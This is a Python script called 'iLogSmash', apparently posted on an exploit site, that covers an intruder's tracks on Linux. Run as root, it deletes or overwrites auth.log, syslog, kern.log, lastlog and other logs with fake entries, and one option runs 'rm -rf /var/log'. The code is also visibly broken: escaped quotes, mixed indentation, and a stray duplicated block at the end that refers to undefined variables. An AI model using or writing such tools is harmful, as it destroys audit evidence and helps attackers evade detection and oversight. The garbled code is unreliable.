#!/usr/bin/python

import sys, os
isroot = os.getuid()

#Global declarations such as log file locations. Add more to fit your needs
logs = ['/var/log/auth.log', '/var/log/kern.log', '/var/log/boot', '/var/log/aptitude', '/var/log/syslog']

#Logfile text for option 2(Alter logs). Yes, IK,  not the best fake logs. You can make your own if you want.
log1txt = \"linux CRON[10025]: pam_unix: session closed for root\n\"
log2txt = \"Linux kernel: Kernel logging (proc) stopped.\n\"
log3txt = \"/dev/loop0: clean, 320083/1648320 files, 4462541/6590464 blocks\n\"
log4txt = \"Aptitude 0.4.11.11: log report\n\"
log5txt = \"Jan  6 06:31:50 vandal rsyslogd: [origin software=rslogds\n\"

print(\"\"\"
 _ _                  _____                     _     
(_) |                / ____|                   | |    
 _| |     ___   __ _| (___  _ __ ___   __ _ ___| |__  
| | |    / _ \ / _` |\___ \| '_ ` _ \ / _` / __| '_ \ 
| | |___| (_) | (_| |____) | | | | | | (_| \__ \ | | |
|_|______\___/ \__, |_____/|_| |_| |_|\__,_|___/_| |_|
                __/ |                                 
               |___/                                  
Author: Chroniccommand
http://iexploit.org
Log smasher. Hides your ass

\"\"\")
print(\"Logs loaded: \")
print(logs)

def main():
    print(\"\n1 - Delete logs(Alert level - High)\n2 - Alter logs(Alert level - Medium\n3 - Remove all logs(Alert level - VERY HIGH\n4 - Remove lastlog\n5 - Info\n6 - Exit\")
    command = raw_input('Choice: ')
    if command == '1':
        print(\"[+]Deleting logs...\")
	try:
	    os.remove(logs[0])
	    os.remove(logs[1])
	    os.remove(logs[2])
	    os.remove(logs[3])
	    os.remove(logs[4])
	    print(\"[-]Log's removed\n\")
	    main()
	except:
	    print(\"Error deleting logs\n\")
	    main()

    elif command == '2':
	print(\"[+]Altering logs...\n\")
	os.remove(logs[0])
	os.remove(logs[1])
	os.remove(logs[2])
	os.remove(logs[3])
	os.remove(logs[4])
	file = open(logs[0], 'a')
	file.write(log1txt)
	file = open(logs[1], 'a')
	file.write(log2txt)
	file = open(logs[2], 'a')
	file.write(log3txt)
	file = open(logs[3], 'a')
	file.write(log4txt)
	file = open(logs[4], 'a')
	file.write(log5txt)   
        print(\"[-]Log's altered\n\")
        main()
	

    elif command == '3':
	print(\"Warning: About to delete all logs. This can be VERY suspicious. Continue?\")
	yesorno = raw_input('Y/N ')
	if yesorno == 'Y':
	    try:
	        print(\"[+]Removing all logs...\n\")
	        os.system('rm -rf /var/log')
	        print(\"[-]All logs removed\n\")
		main()
	    except:
		print(\"Error removing all logs\n\")
		main()
	elif yesorno == 'N':
		main()
	
        else:
          print(\"Please select either Y or N\")
	  main()

    elif command == '4':
        try:
            print(\"[+]Removing /var/log/lastlog...\")
	    os.remove('/var/log/lastlog')
	    print(\"[-]Lastlog removed\")
	    main()    
	except:
	    print(\"Error removing lastlog\n\")
	    main()
    elif command == '5':
	print(\"iLogSmash is coded by chroniccommand. Visit http://iexploit.org for more awesomness.\nThis script removes/alters logs on (most) *nix systems. Defaults are auth.log,boot,kern.log,aptitude,syslog.\nChoice 1 deletes the logs loaded in the list logs. This list can be edited to alter/delete more logs.\nChoice 2 alters logs. It first removes them, then replaces them with the test in log1txt etc.\nChoice 3 removes all logs. This can be quite suspicious so only use if you need to.\nChoice 4 removes lastlog. This is the log that logs all connections, who their from, from what tty etc. This is an executable so you can't really edit it(Unless you make a fake one).\n\") 
	main()

def root():
    if isroot == 0:
	main()
    else:
	print(\"You must run this as root\n\")
        sys.exit()

root()

if command == '1':
        print(\"[+]Deleting logs...\")
	try:
	    os.remove(logs[0])
	    os.remove(logs[1])
	    os.remove(logs[2])
	    os.remove(logs[3])
	    os.remove(logs[4])
            os.remove(logs[5])
	    print(\"[-]Log's removed\n\")
	    main()
	except:
	    print(\"Error deleting logs\n\")
	    main()

elif command == '2':
	print(\"[+]Altering logs...\n\")
	os.remove(logs[0])
	os.remove(logs[1])
	os.remove(logs[2])
	os.remove(logs[3])
	os.remove(logs[4])
        os.remove(logs[5])
	file = open(logs[0], 'a')
	file.write(log1txt)
	file = open(logs[1], 'a')
	file.write(log2txt)
	file = open(logs[2], 'a')
	file.write(log3txt)
	file = open(logs[3], 'a')
	file.write(log4txt)
	file = open(logs[4], 'a')
	file.write(log5txt)   
        file = open(logs[5], 'a')
        file.write(log6txt)
        print(\"[-]Log's altered\n\")
        main()